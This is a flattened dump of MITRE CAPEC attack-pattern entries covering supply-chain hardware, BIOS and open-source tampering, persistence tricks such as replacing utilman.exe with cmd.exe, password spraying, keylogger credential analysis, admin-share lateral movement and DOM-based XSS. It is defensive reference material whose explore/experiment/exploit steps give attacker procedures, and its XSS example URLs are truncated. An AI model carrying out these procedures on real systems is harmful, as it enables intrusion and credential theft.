2022-02-22 01:00:00 2.1 Supply Chain
Physical Security
Hardware
  1. The attacker, aware that the victim has contracted with an integrator for system maintenance and that the integrator uses commercial-off-the-shelf network hubs, develops their own network hubs with a built-in malicious capability for remote access, the malicious network hubs appear to be a well- known brand of network hub but are not. The attacker then advertises to the sub-system integrator that they are a legit supplier of network hubs, and offers them at a reduced price to entice the integrator to purchase these network hubs. The integrator then installs the attacker's hubs at the victim's location, allowing the attacker to remotely compromise the victim's network.
None Low
  • Advanced knowledge about the target system and sub-components.
High: Able to develop and manufacture malicious system components that resemble legitimate name-brand components. Draft High 3.9
531
Hardware Component Substitution Detailed An attacker substitutes out a tested and approved hardware component for a maliciously-altered hardware component. This type of attack is carried out directly on the system, enabling the attacker to then cause disruption or additional compromise. 2014-06-23 02:00:00 Capec: CAPEC-531
Attack: T1195.003
2022-09-29 02:00:00 2.1 Supply Chain
Physical Security
Hardware
  1. An attacker has access to an organization's warehouse of card readers being included as a part of an overall security system. By replacing a critical hardware component in the card reader, the attacker is able to alter the function of the card reader to allow an attacker-supplied card to bypass a security checkpoint. The card reader is placed in the warehouse, and later used in the victim's security system. The attacker is then able to go to the victim and use their own card and bypass a physical security checkpoint and gain access to the victim's location for further malicious activity.
None Low
  • Physical access to the system or the integration facility where hardware components are kept.
High: Able to develop and manufacture malicious system components that perform the same functions and processes as their non-malicious counterparts. Draft High 3.9
534
Altered Installed BIOS Detailed An attacker with access to download and update system software sends a maliciously altered BIOS to the victim or victim supplier/integrator, which when installed allows for future exploitation. 2014-06-23 02:00:00 Capec: CAPEC-532
Attack: T1495
Attack: T1542.001
Reference_from_capec: REF-439
Reference_from_capec: REF-716
2022-09-29 02:00:00 2.1 Supply Chain
Software
  1. An attacker compromises the download and update portion of a manufacturer's web presence, and develops a malicious BIOS that in addition to the normal functionality will also at a specific time of day disable the remote access subsystem's security checks. The malicious BIOS is put in place on the manufacturer's website, the victim location is sent an official-looking email informing the victim of the availability of a new BIOS with bug fixes and enhanced performance capabilities to entice the victim to install the new BIOS quickly. The malicious BIOS is downloaded and installed on the victim's system, which allows for additional compromise by the attacker.
None Low
  • Advanced knowledge about the installed target system design.
  • Advanced knowledge about the download and update installation processes.
  • Access to the download and update system(s) used to deliver BIOS images.
High: Able to develop a malicious BIOS image with the original functionality as a normal BIOS image, but with added functionality that allows for later compromise and/or disruption. Stable High 3.9
444
Malicious Manual Software Update Detailed An attacker introduces malicious code to the victim's system by altering the payload of a software update, allowing for additional compromise or site disruption at the victim location. These manual, or user-assisted attacks, vary from requiring the user to download and run an executable, to as streamlined as tricking the user to click a URL. Attacks which aim at penetrating a specific network infrastructure often rely upon secondary attack methods to achieve the desired impact. Spamming, for example, is a common method employed as an secondary attack vector. Thus the attacker has in their arsenal a choice of initial attack vectors ranging from traditional SMTP/POP/IMAP spamming and its varieties, to web-application mechanisms which commonly implement both chat and rich HTML messaging within the user interface. 2014-06-23 02:00:00 Capec: CAPEC-533
Cwe: CWE-494
Reference_from_capec: REF-710
2022-02-22 01:00:00 2.1 Social Engineering
Supply Chain
Software
  1. An email campaign was initiated, targetting victims of a ransomware attack. The email claimed to be a patch to address the ransomware attack, but was instead an attachment that caused the Cobalt Strike tools to be installed, which enabled further attacks.
None Low
  • Advanced knowledge about the download and update installation processes.
  • Advanced knowledge about the deployed system and its various software subcomponents and processes.
High: Able to develop malicious code that can be used on the victim's system while maintaining normal functionality. Draft High 3.9
186
Malicious Gray Market Hardware Detailed An attacker maliciously alters hardware components that will be sold on the gray market, allowing for victim disruption and compromise when the victim needs replacement hardware components for systems where the parts are no longer in regular supply from original suppliers, or where the hardware components from the attacker seems to be a great benefit from a cost perspective. 2014-06-23 02:00:00 Capec: CAPEC-535
Reference_from_capec: REF-439
2022-02-22 01:00:00 2.1 Supply Chain
Physical Security
Hardware
  1. An attacker develops co-processor boards with malicious capabilities that are technically the same as a manufacturer's expensive upgrade to their flagship system. The victim has installed the manufacturer's base system without the expensive upgrade. The attacker contacts the victim and states they have the co-processor boards at a drastically-reduced price, falsely stating they were acquired from a bankruptcy liquidation of a company that had purchased them from the manufacturer. The victim after hearing the drastically reduced price decides to take advantage of the situation and purchases the upgrades from the attacker, and installs them. This allows the attacker to further compromise the victim.
None Low
  • Physical access to a gray market reseller's hardware components supply, or the ability to appear as a gray market reseller to the victim's buyer.
High: Able to develop and manufacture malicious hardware components that perform the same functions and processes as their non-malicious counterparts. Draft High 3.9
531
Infiltration of Hardware Development Environment Detailed An adversary, leveraging the ability to manipulate components of primary support systems and tools within the development and production environments, inserts malicious software within the hardware and/or firmware development environment. The infiltration purpose is to alter developed hardware components in a system destined for deployment at the victim's organization, for the purpose of disruption or further compromise. 2014-06-23 02:00:00 Capec: CAPEC-537
Attack: T1195.003
Reference_from_capec: REF-439
Reference_from_capec: REF-712
2022-09-29 02:00:00 2.1 Supply Chain
Hardware
  1. The adversary, knowing the manufacturer runs email on a system adjacent to the hardware development systems used for hardware and/or firmware design, sends a phishing email with a malicious attachment to the manufacturer. When viewed, the malicious attachment installs a backdoor that allows the adversary to remotely compromise the adjacent hardware development system from the manufacturer's workstation. The adversary is then able to exfiltrate and alter sensitive data on the hardware system, allowing for future compromise once the developed system is deployed at the victim location.
None Low
  • The victim must use email or removable media from systems running the IDE (or systems adjacent to the IDE systems).
  • The victim must have a system running exploitable applications and/or a vulnerable configuration to allow for initial infiltration.
  • The adversary must have working knowledge of some if not all of the components involved in the IDE system as well as the infrastructure.
High: Development skills to construct malicious attachments that can be used to exploit vulnerabilities in typical desktop applications or system configurations. The malicious attachments should be crafted well enough to bypass typical defensive systems (IDS, anti-virus, etc) Medium: Intelligence about the manufacturer's operating environment and infrastructure. Draft High 3.9
444
Open-Source Library Manipulation Detailed Adversaries implant malicious code in open source software (OSS) libraries to have it widely distributed, as OSS is commonly downloaded by developers and other users to incorporate into software development projects. The adversary can have a particular system in mind to target, or the implantation can be the first stage of follow-on attacks on many systems. 2014-06-23 02:00:00 Capec: CAPEC-538
Cwe: CWE-494
Cwe: CWE-829
Attack: T1195.001
Reference_from_capec: REF-439
2023-01-24 01:00:00 2.1 Software
  1. An adversary with access to an open source code project introduces a hard-to- find bug in the software that allows under very specific conditions for encryption to be disabled on data streams. The adversary commits the change to the code which is picked up by a manufacturer who develops VPN software. It is eventually deployed at the victim's location where the very specific conditions are met giving the adversary the ability to sniff plaintext traffic thought to be encrypted. This can provide to the adversary access to sensitive data of the victim.

Explore

  1. Determine the relevant open-source code project to target: The adversary will make the selection based on various criteria:

Experiment

  1. Develop a plan for malicious contribution: The adversary develops a plan to contribute malicious code, taking the following into consideration:

Exploit

  1. Execute the plan for malicious contribution: Write the code to be contributed based on the plan and then submit the contribution. Multiple commits, possibly using multiple identities, will help obscure the attack. Monitor the contribution site to try to determine if the code has been uploaded to the target system.
Low
  • Access to the open source code base being used by the manufacturer in a system being developed or currently deployed at a victim location.
High: Advanced knowledge about the inclusion and specific usage of an open source code project within system being targeted for infiltration. Stable High 3.9
444
ASIC With Malicious Functionality Detailed An attacker with access to the development environment process of an application-specific integrated circuit (ASIC) for a victim system being developed or maintained after initial deployment can insert malicious functionality into the system for the purpose of disruption or further compromise. 2014-06-23 02:00:00 Capec: CAPEC-539
Attack: T1195.003
Reference_from_capec: REF-439
2022-09-29 02:00:00 2.1 Supply Chain
Hardware
  1. A hardware manufacturer periodically updates its ASIC with new features. The attacker, knowing the manufacturer runs email on a system adjacent to the hardware development systems used for ASIC design, sends a phishing email with a malicious attachment to the manufacturer. When viewed, the malicious attachment installs a backdoor that allows the attacker to remotely compromise the adjacent ASIC development system. The attacker is then able to exfiltrate and alter sensitive data on the ASIC system, allowing for future compromise once a new AISC is deployed at the victim location.
None Low
  • The attacker must have working knowledge of some if not all of the components involved in the target system as well as the infrastructure and development environment of the manufacturer.
  • Advanced knowledge about the ASIC installed within the target system.
High: Able to develop and manufacture malicious subroutines for an ASIC environment without degradation of existing functions and processes. Draft High 3.9
444
Counterfeit Websites Detailed Adversary creates duplicates of legitimate websites. When users visit a counterfeit site, the site can gather information or upload malware. 2014-06-23 02:00:00 Capec: CAPEC-543
Attack: T1036.005
2022-09-29 02:00:00 2.1 Social Engineering
None None
  • None
Draft High 3.9
194
Counterfeit Organizations Detailed An adversary creates a false front organizations with the appearance of a legitimate supplier in the critical life cycle path that then injects corrupted/malicious information system components into the organizational supply chain. 2014-06-23 02:00:00 Capec: CAPEC-544
2022-09-29 02:00:00 2.1 Social Engineering
None None
  • None
Draft High 3.9
194
Incomplete Data Deletion in a Multi-Tenant Environment Detailed An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there. 2014-06-23 02:00:00 Capec: CAPEC-546
Cwe: CWE-284
Cwe: CWE-1266
Cwe: CWE-1272
Reference_from_capec: REF-461
2021-10-21 02:00:00 2.1 Confidentiality:
  • Read Data (A successful attack that probes application memory will compromise the confidentiality of that data.)
Software
Hardware
None Low
  • The cloud provider must not assuredly delete part or all of the sensitive data for which they are responsible.The adversary must have the ability to interact with the system.
Low: The adversary requires the ability to traverse directory structure. Draft Medium 3.9
545
Install New Service Detailed When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges. 2015-11-09 01:00:00 Capec: CAPEC-550
Cwe: CWE-284
Attack: T1543
2022-09-29 02:00:00 2.1 Software
None None Draft None 3.9
542
Modify Existing Service Detailed When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used. 2015-11-09 01:00:00 Capec: CAPEC-551
Cwe: CWE-284
Cwe: CWE-522
Attack: T1543
2022-09-29 02:00:00 2.1 Software
None None Draft None 3.9
542
Install Rootkit Detailed An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components. 2015-11-09 01:00:00 Capec: CAPEC-552
Cwe: CWE-284
Attack: T1014
Attack: T1542.003
Attack: T1547.006
2020-07-30 02:00:00 2.1 Software
  1. A rootkit may take the form of a hypervisor. A hypervisor is a software layer that sits between the operating system and the processor. It presents a virtual running environment to the operating system. An example of a common hypervisor is Xen. Because a hypervisor operates at a level below the operating system it can hide its existence from the operating system.
  2. Similar to a rootkit, a bootkit is a malware variant that modifies the boot sectors of a hard drive, including the Master Boot Record (MBR) and Volume Boot Record (VBR). Adversaries may use bootkits to persist on systems at a layer below the operating system, which may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
None Medium Draft High 3.9
542
Replace File Extension Handlers Detailed When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened. 2015-11-09 01:00:00 Capec: CAPEC-556
Cwe: CWE-284
Attack: T1546.001
2020-07-30 02:00:00 2.1 Software
None None Draft None 3.9
542
DEPRECATED: Schedule Software To Run Detailed This CAPEC has been deprecated because it is not directly related to a weakness, social engineering, supply chains, or a physical-based attack. 2015-11-09 01:00:00 Capec: CAPEC-557
2020-07-30 02:00:00 2.1 None None Deprecated None 3.9
Replace Trusted Executable Detailed An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called. 2015-11-09 01:00:00 Capec: CAPEC-558
Cwe: CWE-284
Attack: T1505.005
Attack: T1546.008
2022-09-29 02:00:00 2.1 Software
  1. Specific versions of Windows contain accessibility features that may be launched with a key combination before a user has logged in (for example when they are on the Windows Logon screen). On Windows XP and Windows Server 2003/R2, the program (e.g. "C:\Windows\System32\utilman.exe") may be replaced with cmd.exe (or another program that provides backdoor access). Then pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over RDP will cause the replaced file to be executed with SYSTEM privileges.
None Low Stable High 3.9
542
Orbital Jamming Detailed In this attack pattern, the adversary sends disruptive signals at a target satellite using a rogue uplink station to disrupt the intended transmission. Those within the satellite's footprint are prevented from reaching the satellite's targeted or neighboring channels. The satellite's footprint size depends upon its position in the sky; higher orbital satellites cover multiple continents. 2017-01-12 01:00:00 Capec: CAPEC-559
Reference_from_capec: REF-462
2017-01-12 01:00:00 2.1 Availability:
  • Other (A successful attack will deny the availability of the satellite communications for authorized users.)
Communications
None Low
  • This attack requires the knowledge of the satellite's coordinates for targeting.
  • A satellite uplink station.
Draft High 3.9
601
Windows Admin Shares with Stolen Credentials Detailed An adversary guesses or obtains (i.e. steals or purchases) legitimate Windows administrator credentials (e.g. userID/password) to access Windows Admin Shares on a local machine or within a Windows domain. Windows systems within the Windows NT family contain hidden network shares that are only accessible to system administrators. These shares allow administrators to remotely access all disk volumes on a network-connected system and further allow for files to be copied, written, and executed, along with other administrative actions. Example network shares include: C$, ADMIN$ and IPC$. If an adversary is able to obtain legitimate Windows credentials, the hidden shares can be accessed remotely, via server message block (SMB) or the Net utility, to transfer files and execute code. It is also possible for adversaries to utilize NTLM hashes to access administrator shares on systems with certain configuration and patch levels. 2015-11-09 01:00:00 Capec: CAPEC-561
Cwe: CWE-522
Cwe: CWE-308
Cwe: CWE-309
Cwe: CWE-294
Cwe: CWE-263
Cwe: CWE-262
Cwe: CWE-521
Attack: T1021.002
Reference_from_capec: REF-577
Reference_from_capec: REF-578
Reference_from_capec: REF-579
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Read Data
Access Control:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Software
  1. APT32 has leveraged Windows' built-in Net utility to use Windows Administrative Shares to copy and execute remote malware. [REF-579]
  2. In May 2017, APT15 laterally moved within a Windows domain via Windows Administrative Shares to copy files to and from compromised host systems. This further allowed for the remote execution of malware. [REF-578]

Explore

  1. Acquire known Windows administrator credentials: The adversary must obtain known Windows administrator credentials in order to access the administrative network shares.
  2. Techniques
    An adversary purchases breached Windows administrator credentials from the dark web.
    An adversary leverages a key logger or phishing attack to steal administrator credentials as they are provided.
    An adversary conducts a sniffing attack to steal Windows administrator credentials as they are transmitted.
    An adversary gains access to a Windows domain system/files and exfiltrates Windows administrator password hashes.
    An adversary examines outward-facing configuration and properties files to discover hardcoded Windows administrator credentials.

Experiment

  1. Attempt domain authentication: Try each Windows administrator credential against the hidden network shares until the target grants access.
  2. Techniques
    Manually or automatically enter each administrator credential through the target's interface.

Exploit

  1. Malware Execution: An adversary can remotely execute malware within the administrative network shares to infect other systems within the domain.
  2. Data Exfiltration: The adversary can remotely obtain sensitive data contained within the administrative network shares.
None
  • The system/application is connected to the Windows domain.
  • The target administrative share allows remote use of local admin credentials to log into domain systems.
  • The adversary possesses a list of known Windows administrator credentials that exist on the target domain.
  • A list of known Windows administrator credentials for the targeted domain.
Low: Once an adversary obtains a known Windows credential, leveraging it is trivial. Draft None 3.9
653
Modify Shared File Detailed An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed. 2015-11-09 01:00:00 Capec: CAPEC-562
Cwe: CWE-284
Attack: T1080
2019-04-04 02:00:00 2.1 Software
None None Draft None 3.9
17
Add Malicious File to Shared Webroot Detailed An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured. 2015-11-09 01:00:00 Capec: CAPEC-563
Cwe: CWE-284
2020-07-30 02:00:00 2.1 Software
None None Draft None 3.9
17
Run Software at Logon Detailed Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary. 2015-11-09 01:00:00 Capec: CAPEC-564
Cwe: CWE-284
Attack: T1037
Attack: T1543.001
Attack: T1543.004
Attack: T1547
2022-09-29 02:00:00 2.1 Software
None None Draft None 3.9
542
Password Spraying Detailed In a Password Spraying attack, an adversary tries a small list (e.g. 3-5) of common or expected passwords, often matching the target's complexity policy, against a known list of user accounts to gain valid credentials. The adversary tries a particular password for each user account, before moving onto the next password in the list. This approach assists the adversary in remaining undetected by avoiding rapid or frequent account lockouts. The adversary may then reattempt the process with additional passwords, once enough time has passed to prevent inducing a lockout. Password Spraying attacks often target management services over commonly used ports such as SSH, FTP, Telnet, LDAP, Kerberos, MySQL, and more. Additional targets include Single Sign-On (SSO) or cloud-based applications/services that utilize federated authentication protocols, and externally facing applications. Successful execution of Password Spraying attacks usually lead to lateral movement within the target, which allows the adversary to impersonate the victim or execute any action that the victim is authorized to perform. If the password chosen by the user is commonly used or easily guessed, this attack will be successful (in the absence of other mitigations). This is a specific instance of the password brute forcing attack pattern. Password Spraying Attacks are similar to Dictionary-based Password Attacks (CAPEC-16) in that they both leverage precompiled lists (i.e. dictionaries) of username/password combinations to try against a system/application. The primary difference is that Password Spraying Attacks leverage a known list of user accounts and only try one password for each account before moving onto the next password. In contrast, Dictionary-based Password Attacks leverage unknown username/password combinations and are often executed offline against files containing hashed credentials, where inducing an account lockout is not a concern. Password Spraying Attacks are also similar to Credential Stuffing attacks (CAPEC-600), since both utilize known user accounts and often attack the same targets. Credential Stuffing attacks, however, leverage known username/password combinations, whereas Password Spraying attacks have no insight into known username/password pairs. If a Password Spraying attack succeeds, it may additionally lead to Credential Stuffing attacks on different targets. 2020-07-30 02:00:00 Capec: CAPEC-565
Cwe: CWE-521
Cwe: CWE-262
Cwe: CWE-263
Cwe: CWE-654
Cwe: CWE-307
Cwe: CWE-308
Cwe: CWE-309
Attack: T1110.003
Reference_from_capec: REF-565
Reference_from_capec: REF-566
Reference_from_capec: REF-567
2022-02-22 01:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Read Data
Access Control:
  • Gain Privileges
Authentication:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Software
  1. A user selects the phrase "Password123" as their password, believing that it would be very difficult to guess. Password Spraying, leveraging a list of commonly used passwords, is used to crack this password and gain access to the account.
  2. The Iranian hacker group APT33 (AKA Holmium, Refined Kitten, or Elfin) carried out numerous Password Spraying attacks in 2019. On average, APT33 targeted 2,000 organizations per month, with upwards of 10 million authentication attempts each day. The majority of these attacks targeted manufacturers, suppliers, or maintainers of industrial control system equipment.

Explore

  1. Determine target's password policy: Determine the password policies of the target system/application.
  2. Techniques
    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc., or whether they are allowed to contain words from the dictionary).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks).
  3. Select passwords: Pick the passwords to be used in the attack (e.g. commonly used passwords, passwords tailored to individual users, etc.)
  4. Techniques
    Select passwords based on common use or a particular user's additional details.
    Select passwords based on the target's password complexity policies.

Exploit

  1. Brute force password: Given the finite space of possible passwords dictated by information determined in the previous steps, try each password for all known user accounts until the target grants access.
  2. Techniques
    Manually or automatically enter the first password for each known user account through the target's interface. In most systems, start with the shortest and simplest possible passwords, because most users tend to select such passwords if allowed to do so.
    Iterate through the remaining passwords for each known user account.
High
  • The system/application uses one factor password based authentication.
  • The system/application does not have a sound password policy that is being enforced.
  • The system/application does not implement an effective password throttling mechanism.
  • The adversary possesses a list of known user accounts on the target system/application.
  • A machine with sufficient resources for the job (e.g. CPU, RAM, HD).
  • Applicable password lists.
  • A password cracking tool or a custom script that leverages the password list to launch the attack.
Low: A Password Spraying attack is very straightforward. A variety of password cracking tools are widely available. Draft High 3.9
49
DEPRECATED: Dump Password Hashes Detailed This CAPEC has been deprecated because of is not directly related to a weakness, social engineering, supply chains, or a physical-based attack. 2015-11-09 01:00:00 Capec: CAPEC-566
2019-04-04 02:00:00 2.1 None None Deprecated None 3.9
Capture Credentials via Keylogger Detailed An adversary deploys a keylogger in an effort to obtain credentials directly from a system's user. After capturing all the keystrokes made by a user, the adversary can analyze the data and determine which string are likely to be passwords or other credential related information. 2015-11-09 01:00:00 Capec: CAPEC-568
Attack: T1056.001
2021-10-21 02:00:00 2.1 Software

Explore

  1. Determine which user's credentials to capture: Since this is a more targeted attack, an adversary will first identify a particular user they wish the capture the credentials of.

Experiment

  1. Deploy keylogger: Once a user is identified, an adversary will deploy a keylogger to the user's system in one of many ways.
  2. Techniques
    Send a phishing email with a malicious attachment that installs a keylogger on a user's system
    Conceal a keylogger behind fake software and get the user to download the software
    Get a user to click on a malicious URL that directs them to a webpage that will install a keylogger without their knowledge
    Gain access to the user's system through a vulnerability and manually install a keylogger
  3. Record keystrokes: Once the keylogger is deployed on the user's system, the adversary will record keystrokes over a period of time.
  4. Analyze data and determine credentials: Using the captured keystrokes, the adversary will be able to determine the credentials of the user.
  5. Techniques
    Search for repeated sequences that are following by the enter key
    Search for repeated sequences that are not found in a dictionary
    Search for several backspaces in a row. This could indicate a mistyped password. The correct password can then be inferred using the whole key sequence

Exploit

  1. Use found credentials: After the adversary has found the credentials for the target user, they will then use them to gain access to a system in order to perform some follow-up attack
None
  • The ability to install the keylogger, either in person or remote.
Draft High 3.9
569
DEPRECATED: Signature-Based Avoidance Detailed This CAPEC has been deprecated because it is not directly related to a weakness, social engineering, supply chains, or a physical-based attack. 2015-11-09 01:00:00 Capec: CAPEC-570
2020-07-30 02:00:00 2.1 None None Deprecated None 3.9
Replace Winlogon Helper DLL Detailed Winlogon is a part of Windows that performs logon actions. In Windows systems prior to Windows Vista, a registry key can be modified that causes Winlogon to load a DLL on startup. Adversaries may take advantage of this feature to load adversarial code at startup. 2015-11-09 01:00:00 Capec: CAPEC-579
Cwe: CWE-15
Attack: T1547.004
2023-01-24 01:00:00 2.1 Software
None None Draft None 3.9
542
Security Software Footprinting Detailed Adversaries may attempt to get a listing of security tools that are installed on the system and their configurations. This may include security related system features (such as a built-in firewall or anti-spyware) as well as third-party security software. 2015-11-09 01:00:00 Capec: CAPEC-581
Attack: T1518.001
2020-07-30 02:00:00 2.1 Software
None None Draft None 3.9
580
Disabling Network Hardware Detailed In this attack pattern, an adversary physically disables networking hardware by powering it down or disconnecting critical equipment. Disabling or shutting off critical system resources prevents them from performing their service as intended, which can have direct and indirect consequences on other systems. This attack pattern is considerably less technical than the selective blocking used in most obstruction attacks. 2017-01-12 01:00:00 Capec: CAPEC-583
Reference_from_capec: REF-464
2019-09-30 02:00:00 2.1 Availability:
  • Other (Denial of Service)
Hardware
None None
  • The adversary requires physical access to the targeted communications equipment (networking devices, cables, etc.), which may be spread over a wide area.
Draft None 3.9
582
BGP Route Disabling Detailed An adversary suppresses the Border Gateway Protocol (BGP) advertisement for a route so as to render the underlying network inaccessible. The BGP protocol helps traffic move throughout the Internet by selecting the most efficient route between Autonomous Systems (AS), or routing domains. BGP is the basis for interdomain routing infrastructure, providing connections between these ASs. By suppressing the intended AS routing advertisements and/or forcing less effective routes for traffic to ASs, the adversary can deny availability for the target network. 2017-01-12 01:00:00 Capec: CAPEC-584
Reference_from_capec: REF-465
Reference_from_capec: REF-466
2020-12-17 01:00:00 2.1 Availability:
  • Other (Disabling a network route at the routing infrastructure level denies availability of that route.)
Communications
Software
  1. Blackholing: The adversary intentionally references false routing advertisements in order to attract traffic to a particular router so it can be dropped.
None None
  • The adversary must have control of a router that can modify, drop, or introduce spoofed BGP updates.The adversary can convince
  • BGP Router
Draft None 3.9
582
DNS Domain Seizure Detailed In this attack pattern, an adversary influences a target's web-hosting company to disable a target domain. The goal is to prevent access to the targeted service provided by that domain. It usually occurs as the result of civil or criminal legal interventions. 2017-01-12 01:00:00 Capec: CAPEC-585
Reference_from_capec: REF-467
2023-01-24 01:00:00 2.1 Availability:
  • Other (Disabling a target domain at the infrastructure level denies the availability of its service to the user.)
Social Engineering
  1. The FBI's seizure of gambling websites, the US DOJ's seizure of child pornography websites, and Microsoft's seizure of all domains owned by the company No-IP in order to disrupt a cyberattack originating from a subset of those domains.
None None
  • This attack pattern requires that the adversary has cooperation from the registrar of the target domain.
Draft None 3.9
582
Cross Frame Scripting (XFS) Detailed This attack pattern combines malicious Javascript and a legitimate webpage loaded into a concealed iframe. The malicious Javascript is then able to interact with a legitimate webpage in a manner that is unknown to the user. This attack usually leverages some element of social engineering in that an attacker must convinces a user to visit a web page that the attacker controls. 2017-02-01 01:00:00 Capec: CAPEC-587
Cwe: CWE-1021
Owasp Attacks: Cross Frame Scripting
Reference_from_capec: REF-469
Reference_from_capec: REF-470
2023-01-24 01:00:00 2.1 Confidentiality:
  • Read Data (Cross Frame Scripting allows an adversary to steal sensitive data from a legitimate site.)
Social Engineering
Software
  1. An adversary-controlled webpage contains malicious Javascript and a concealed iframe containing a legitimate website login (i.e., the concealed iframe would make it appear as though the actual legitimate website was loaded). When the user interacts with the legitimate website in the iframe, the malicious Javascript collects that sensitive information.
None None
  • The user's browser must have vulnerabilities in its implementation of the same-origin policy. It allows certain data in a loaded page to originate from different servers/domains.
Draft High 3.9
103
DOM-Based XSS Detailed This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users. 2017-04-15 02:00:00 Capec: CAPEC-588
Cwe: CWE-79
Cwe: CWE-20
Cwe: CWE-83
Owasp Attacks: Reflected DOM Injection
Reference_from_capec: REF-471
Reference_from_capec: REF-472
Reference_from_capec: REF-618
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (A successful DOM-based XSS attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.)
  • Modify Data (A successful DOM-based XSS attack can allow an adversary to tamper with application data.)
Availability:
  • Execute Unauthorized Commands (A successful DOM-based XSS attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.)
Authorization:
  • Gain Privileges (A successful DOM-based XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.)
Access Control:
  • Gain Privileges (A successful DOM-based XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.)
Confidentiality:
  • Read Data (A successful DOM-based XSS attack can enable an adversary to exfiltrate sensitive information from the application.)
  • Gain Privileges (A successful DOM-based XSS attack can enable an adversary to elevate their privilege level and access functionality they should not otherwise be allowed to access.)
  • Execute Unauthorized Commands (A successful DOM-based XSS attack can enable an adversary run arbitrary code of their choosing, thus enabling a complete compromise of the application.)
Software
  1. Consider a web application that enables or disables some of the fields of a form on the page via the use of a mode parameter provided on the query string. http://my.site.com/aform.html?mode=full The application’s client-side code may want to print this mode value to the screen to give the users an understanding of what mode they are in. In this example, JavaScript is used to pull the value from the URL and update the HTML by dynamically manipulating the DOM via a document.write() call. Notice how the value provided on the URL is used directly with no input validation performed and no output encoding in place. A maliciously crafted URL can thus be formed such that if a victim clicked on the URL, a malicious script would then be executed by the victim’s browser: http://my.site.com/aform.html?mode=
  2. In some DOM-based attacks, the malicious script never gets sent to the web server at all, thus bypassing any server-side protections that might be in place. Consider the previously used web application that displays the mode value. Since the HTML is being generated dynamically through DOM manipulations, a URL fragment (i.e., the part of a URL after the '' character) can be used. http://my.site.com/aform.htmlmode= In this variation of a DOM-based XSS attack, the malicious script will not be sent to the web server, but will instead be managed by the victim's browser and is still available to the client-side script code.

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an adversary follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.
  2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe identified potential entry points for DOM-based XSS vulnerability: The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads and special characters to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited. Specific to DOM-based XSS, the adversary is looking for areas where input is being used to directly change the DOM.
  2. Techniques
    Use a list of XSS probe strings to inject script in parameters of known URLs. If possible, the probe strings contain a unique identifier.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.
    Use a list of HTML special characters to inject into parameters of known URLs and check if they were properly encoded, replaced, or filtered out.
  3. Craft malicious XSS URL: Once the adversary has determined which parameters are vulnerable to XSS, they will craft a malicious URL containing the XSS exploit. The adversary can have many goals, from stealing session IDs, cookies, credentials, and page content from the victim. In DOM-based XSS, the malicious script might not even be sent to the server, since the victim's browser will manipulate the DOM itself. This can help avoid serve-side detection mechanisms.
  4. Techniques
    Change a URL parameter to include a malicious script tag.
    Add a URL fragment to alter the value of the expected Document object URL.
    Send information gathered from the malicious script to a remote endpoint.

Exploit

  1. Get victim to click URL: In order for the attack to be successful, the victim needs to access the malicious URL.
  2. Techniques
    Send a phishing email to the victim containing the malicious URL. This can be hidden in a hyperlink as to not show the full URL, which might draw suspicion.
    Put the malicious URL on a public forum, where many victims might accidentally click the link.
High
  • An application that leverages a client-side web browser with scripting enabled.
  • An application that manipulates the DOM via client-side scripting.
  • An application that failS to adequately sanitize or encode untrusted input.
